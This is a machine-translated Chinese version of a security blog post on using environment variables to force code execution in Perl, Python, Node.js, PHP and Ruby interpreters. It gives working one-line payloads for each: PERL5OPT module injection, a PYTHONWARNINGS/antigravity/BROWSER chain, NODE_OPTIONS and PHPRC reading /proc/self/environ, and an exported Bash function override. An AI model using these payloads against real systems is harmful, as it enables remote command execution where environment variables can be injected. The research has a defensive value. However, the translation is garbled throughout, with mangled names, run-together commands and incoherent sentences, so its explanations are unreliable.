环境变量技巧

有趣的环境变量可加载到脚本语言解释器中



介绍



在最近的一个黑客项目中,我们可以指定环境变量,但不能指定正在运行的进程。我们还无法控制磁盘上文件的内容,并且进程标识符(PID)和文件描述符的暴力破解没有给出有趣的结果,但远程LD_PRELOAD漏洞除外幸运的是,执行了脚本语言解释器,该脚本解释器允许我们通过设置某些环境变量来执行任意命令。该博客讨论了恶意环境变量下,许多脚本语言解释器如何执行任意命令。



佩尔



粗略阅读ENVIRONMENT手册页部分会perlrun(1)发现许多值得探讨的环境变量。环境变量PERL5OPT允许您设置命令行选项,但仅限于接受options CDIMTUWdmtw。不幸的是,这意味着缺少-e,这使得可以加载perl代码来运行。



但是,正如Hacker Fantastic的CVE-2016-1531漏洞利用所示,这一切都不会丢失。该利用程序将恶意的perl模块写入文件,并提供环境变量用于执行任意代码。但是,这是对本地特权升级漏洞的一种利用,并且理想情况下,通用方法应该不需要访问文件系统。看着/tmp/root.pmPERL5OPT=-MrootPERL5LIB=/ tmp对于CVE,blasty进行利用,他不需要创建文件,使用环境变量PERL5OPT=-d PERL5DB=system("sh");exit;在2013年使用相同的变量解决了CTF问题



通用方法的最后一个精妙之处是使用一个环境变量而不是两个。@justinsteven发现使用可以实现PERL5OPT=-M在下载perl模块时,可以使用-m-M,但是可以使用一个选项-M在模块名称后添加额外的代码。



概念证明



示例0:使用环境变量执行任意代码与执行空脚本的Perl(/ dev / null)



$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/null
uid=0(root) gid=0(root) groups=0(root)


蟒蛇



ENVIRONMENT VARIABLES法力上的部分来看python(1),它PYTHONSTARTUP最初看起来像是一个简单的解决方案。它允许您指定在交互式显示提示之前将要执行的Python脚本的路径。交互模式的要求似乎没有问题,因为PYTHONINSPECT可以像-i在命令行上一样使用环境变量来进入交互模式。但是,该选项的文档-i说明了PYTHONSTARTUP使用脚本启动python启动时将不使用的内容。这意味着PYTHONSTARTUP两者PYTHONINSPECT不能合并,PYTHONSTARTUP只有在立即启动Python REPL时才起作用。这最终意味着PYTHONSTARTUP不可行,因为它在执行常规Python脚本时无效。



环境变量PYTHONHOME看起来前途无量PYTHONPATH两者都允许任意代码执行,但都要求您也能够在文件系统上创建目录和文件。通过使用虚拟/ proc文件系统和/或ZIP文件,可以放宽这些要求。



只需检查其余大多数环境变量中的非空字符串,如果是,则通常包含一个良性设置。罕见的例外之一是PYTHONWARNINGS



使用PYTHONWARNINGS



的文档PYTHONWARNINGS说,这等效于指定参数-W。此参数-W用于警报管理,以指定警报及其显示频率。参数的完整形式为action:message:category:module:line。尽管监视警报似乎不是一个有希望的线索,但是在测试实施后,警报迅速改变了。



示例1:Python-3.8.2 / lib / warnings.py



[...]
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
    else:
        module, _, klass = category.rpartition('.')
        try:
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
[...]


此代码显示,只要我们指定的类别包含点,我们就可以开始导入任意Python模块。



下一个问题是,Python标准库中的绝大多数模块在导入时执行的代码很少。它们通常只定义要在以后使用的类,即使它们提供了要运行的代码,通常也可以通过检查__main__变量(确定文件是导入还是直接运行)来保护代码反重力模块



是此规则的意外例外2008年的Python开发人员包括了一个复活节彩蛋,可以通过运行import antigravity...这项导入将立即在您的浏览器中开玩笑地打开一个xkcd漫画,因为Python中的反重力导入使飞行成为可能。



至于模块如何antigravity打开浏览器,它使用标准库中名为的另一个模块webbrowser。该模块检查PATH的浏览器,包括马赛克,歌剧,跳石,konqueror,chrome,chrome,firefox,链接,elink和lynx。它还接受BROWSER指示执行哪个进程的环境变量。不能在环境变量中向进程提供任何参数,并且漫画的xkcd url是命令的唯一硬编码参数。



将其转换为任意代码执行的能力取决于系统上还有哪些其他可执行文件。



使用Perl执行任意代码



一种方法是使用Perl,它通常安装在系统上,甚至可以在标准Python Docker映像中使用。但是,您不能perl单独使用二进制文件,因为第一个也是唯一的参数是漫画的xkcd url。此参数将引发错误,并且进程将在不使用环境变量的情况下终止PERL5OPT



示例2:将URL传递给perl时,PERL5OPT不起作用



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/
Can't open perl script "https://xkcd.com/353/": No such file or directory


幸运的是,当Perl可用时,默认的Perl脚本(例如perldoc和perlthanks)也经常可用。这些脚本也将失败,并带有无效的参数,但是这种情况下的错误发生在环境变量PERL5OPT的处理之后。这意味着您可以使用本博客前面详细介绍的Perl环境变量有效负载。



示例3:PERL5OPT与perldoc和perlthanks一起正常工作



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)


概念证明



示例4:使用Python 2和Python 3使用多个环境变量执行任意代码



$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'

$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'


节点JS



Michal Bentkowski他的博客发布了Kibana攻击的有效负载(CVE-2019-7609)。原型污染漏洞用于设置任意环境变量,从而导致任意命令执行。来自Michal的有效负载特别使用了环境变量NODE_OPTIONSproc文件系统/proc/self/environ



虽然Michal的技术富有创造力,并且在他的情况下非常有效,但并非总是能保证其有效,并且存在一些局限性,可以很好地解决。



第一个限制是它使用/proc/self/environ仅当内容可以通过JavaScript在语法上有效时。为此,您必须能够创建一个环境变量并使它首先出现在文件的内容中,/proc/self/environ或者知道/欺骗首先出现的环境变量的名称并覆盖其值。



另一个限制是,第一个环境变量的值以单行注释(//)结尾。因此,其他环境变量中的任何换行符都可能导致语法错误并阻止有效负载执行。使用多行注释(/ *)无法解决问题,因为必须将其关闭才能在语法上正确。因此,在极少数情况下,当环境变量包含换行符时,有必要知道/取消设置环境变量的名称,并用不包含换行符的新值覆盖其值。



我们将消除这些限制留给读者练习。



概念证明



例子5.针对Michal Bentkowski的NodeJS用环境变量执行任意代码



$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/null
uid=0(root) gid=0(root) groups=0(root)


的PHP



如果运行它ltrace -e getenv php /dev/null,您会发现PHP正在使用环境变量PHPRC尝试查找和加载配置文件时使用环境变量php.iniCVE-2019-11043的neex漏洞利用许多PHP参数来强制执行任意代码。在《Orange Tsai》中,一篇很棒的文章介绍了如何为CVE创建自己的漏洞利用程序,该漏洞使用略有不同的设置列表。利用这些知识以及从以前的NodeJS技术获得的知识,以及从Brendan Scarwell那里获得的一些帮助,找到了一个具有两个环境变量的PHP解决方案。



此方法与NodeJS示例具有相同的限制。



概念证明



示例6:针对PHP使用环境变量执行任意代码



$ docker run -e $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/null
HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;uid=0(root) gid=0(root) groups=0(root)


红宝石



尚未找到针对Ruby的通用解决方案。Ruby确实接受环境变量RUBYOPT来指定命令行选项。手册页上说RUBYOPT只能包含-d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE --enable-FEATURE最有前途的选择是-r强制Ruby使用require加载库。但是,这仅限于扩展名为.rb或的文件.so



我发现了一个比较有用的文件的一个例子.rbtools/server.rb从JSON的宝石,这是在Fedora系统安装Ruby后可用。需要此文件时,将如下所示启动Web服务器:



示例7:使用RUBYOPT环境变量启动ruby进程并启动Web服务器



$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'
Surf to:
http://27dfc3850fbe:6666
[2020-06-17 05:43:47] INFO  WEBrick 1.6.0
[2020-06-17 05:43:47] INFO  ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-06-17 05:43:47] INFO  WEBrick::HTTPServer#start: pid=28 port=6666


Fedora中的另一种方法是利用以下事实:/usr/bin/ruby实际上存在启动的Bash脚本/usr/bin/ruby-mri该脚本调用可以被环境变量覆盖的Bash函数。



概念证明



示例8:使用导出的Bash函数执行任意命令



$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'
uid=0(root) gid=0(root) groups=0(root)


结论



这篇文章探讨了环境变量的有趣用例,这些案例可以使用各种脚本语言解释器帮助实现任意代码执行,而无需将文件写入磁盘。我希望您喜欢阅读并且对找到和共享这些以及其他脚本语言的改进有效负载感兴趣。如果您发现一种适用于Ruby的通用技术,那么听说它将会非常有趣。



另请参阅:“ Dotfile疯狂



All Articles